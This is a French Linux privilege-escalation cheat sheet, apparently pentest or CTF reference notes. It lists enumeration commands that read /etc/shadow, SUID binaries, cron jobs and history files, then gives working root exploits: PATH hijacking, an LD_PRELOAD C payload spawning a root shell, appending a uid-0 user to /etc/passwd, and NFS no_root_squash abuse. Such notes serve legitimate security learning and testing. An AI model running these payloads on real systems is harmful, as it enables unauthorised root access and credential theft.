Escalade de privilèges

Énumération

Utilisateurs & Fichiers sensibles

Liste des utilisateurs

id # Utilisateur actuels et ses groupes d'appartenance
who || w # Informations sur l'utilisateur actuel
last # Historique des connexions & déconnexions des utilisateurs
cat /etc/passwd | cut -d: -f1 # Liste des utilisateurs
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # Liste des super users
awk -F: '($3 == "0") {print}' /etc/passwd # Liste des super users
cat /etc/sudoers
sudo -l

Fichiers sensibles

cat /etc/passwd && cat /etc/group && cat /etc/shadow
ls -alh /var/mail/ # E-mails
ls -ahlR /root/ # Dossier Root
ls -ahlR /home/ # Dossiers utilisateurs

find / -writable -type d 2>/dev/null

Fichiers à permissions (SUID/SGID/Capabilities)

find / -perm -u=s -type f 2>/dev/null # SUID
find / -perm -g=s -type f 2>/dev/null # SGID
find / -type f -perm -04000 -ls 2>/dev/null # SUID & SGID
getcap -r / 2> /dev/null # Capabilities

Historiques de l’utilisateur

history # Historique des commandes tapées
cat ~/.*_history # Affiche le contenu des fichiers d'historiques

Mount Points

showmount -e 127.0.0.1 # Affiche les montages NFS
mount # Affiche tous les points de montage
cat /etc/fstab
/bin/lsblk # Affiche tous les disques disponibles

Système d’Exploitation

Quelle est la distribution ?

cat /etc/issue && cat /etc/*-release

Quelle version du kernel ?

cat /proc/version || uname -a || uname -mrs
rpm -q kernel # Sur de la distro Red Hat
dmesg | grep Linux # Messages du Noyau
ls /boot | grep vmlinuz

Quelles variables d’environnement ?

cat /etc/profile && cat /etc/bashrc 
cat ~/.bash_profile && cat ~/.bashrc && cat ~/.bash_logout
env
set
hostname # Nom de la machine

Drivers

lsmod # Liste les modules du kernel
/sbin/modinfo <MODULE> # Avoir des infos sur un module

Applications & Services

Services en cours

ps aux | grep root
top # Affiche en temps réel les processus en cours
cat /etc/services

Applications installées

ls -alh /usr/bin/ && ls -alh /sbin/
dpkg -l # Toutes les applications + versions sous Debian
rpm -qa # Toutes les applications + versions sous Red Hat
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/ # Pour CentOS

Services mal configurés

cat /etc/syslog.conf # Syslog = journalisation des messages du système
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf

Tâches programmées

crontab -l # Tâches programmées pour l'utilisateur actuel
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/crontab # Cron = Fonctionnement continu
cat /etc/anacrontab # Anacron = fonctionnement discontinu (anachronique)
cat /etc/at.allow && cat /etc/at.deny
cat /etc/cron.allow && cat /etc/cron.deny
cat /var/spool/cron/crontabs/root
grep "CRON" /var/log/cron.log

Communications & Réseaux

Interfaces

ifconfig -a || ip a 
route || route -l
cat /etc/network/interfaces
cat /etc/sysconfig/network # Red Hat

Informations DNS

Est-ce qu’on peut trouver des informations sur le serveur DNS, DHCP, la passerelle ?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

Communications en cours

lsof -i
grep 80 /etc/services
netstat -antup || netstat -antpx || netstat -tulpn
ss -tulnp
chkconfig --list # Sous Red Hat
last
w

Informations en cache

arp -e
route || ip route
/sbin/route -nee

Pare-feu & Règles

grep -Hs iptables /etc/* # Récupère des fichiers en lien avec iptables
cat /etc/iptables-backup

Exploitation

Exploitation de la variable $PATH

  • Chercher un binaire avec SUID actif et qui appelle une fonction du système
  • Chercher un dossier avec droits d’écriture : find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
  • Créer une copie du binaire avec le code souhaité et exporter le chemin dans la variable PATH : export PATH={PATH}:$PATH

Divers Tricks

  • Si Apache2 est présent : apache2 -f /etc/shadow

  • Si la variable d’environnement LD_PRELOAD est activée

    1. Checker avec sudo -l si on a bien env_keep+=LD_PRELOAD
    2. Créer un programme en C en .c (code ci-dessous)
    3. Compiler ce code en mode partagé : gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles
    4. Lancer un binaire dont on a les droits SUDO avec le programme compilé : sudo LD_PRELOAD=/path/exploit.so <BINARY>

    Instructions détaillées :

    Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs

    Code C à compiler :

    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    
    void _init() {
    		unsetenv("LD_PRELOAD");
    		setgid(0);
    		setuid(0);
    		system("/bin/bash");
    }
  • Ajouter un utilisateur root

Possible dans la mesure où on a les droit d’écriture sur /etc/passwd

- Créer le mot de passe : `openssl passwd -1 --salt {SALT} {PASSWORD}`
- Créer une ligne : `{USER}:{PASSWORD}:0:0:root:/root:/bin/bash`
- L’insérer avec un `echo "{LIGNE}" >> /etc/passwd`
  • NFS Exploitation

    • Regarder le fichier /etc/exports et vérifier si un des partages a l’option no_root_squash
    • (Remotely) Checker les répertoires de partage disponibles : showmount -e {IP}
    • (Remotely) Monter un partage : mount -o rw {IP}:/{SHARE_PATH} {LOCAL_PATH}
    • Créer un exécutable en tant que root, et en lui ajoutant le SUID : chmod +s {PAYLOAD}
    • Récupérer l’exécutable sur la machine victime et l’exécuter
    int main(){
            setgid(0);
            setuid(0);
            system("/bin/bash");
            return 0;
    }
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla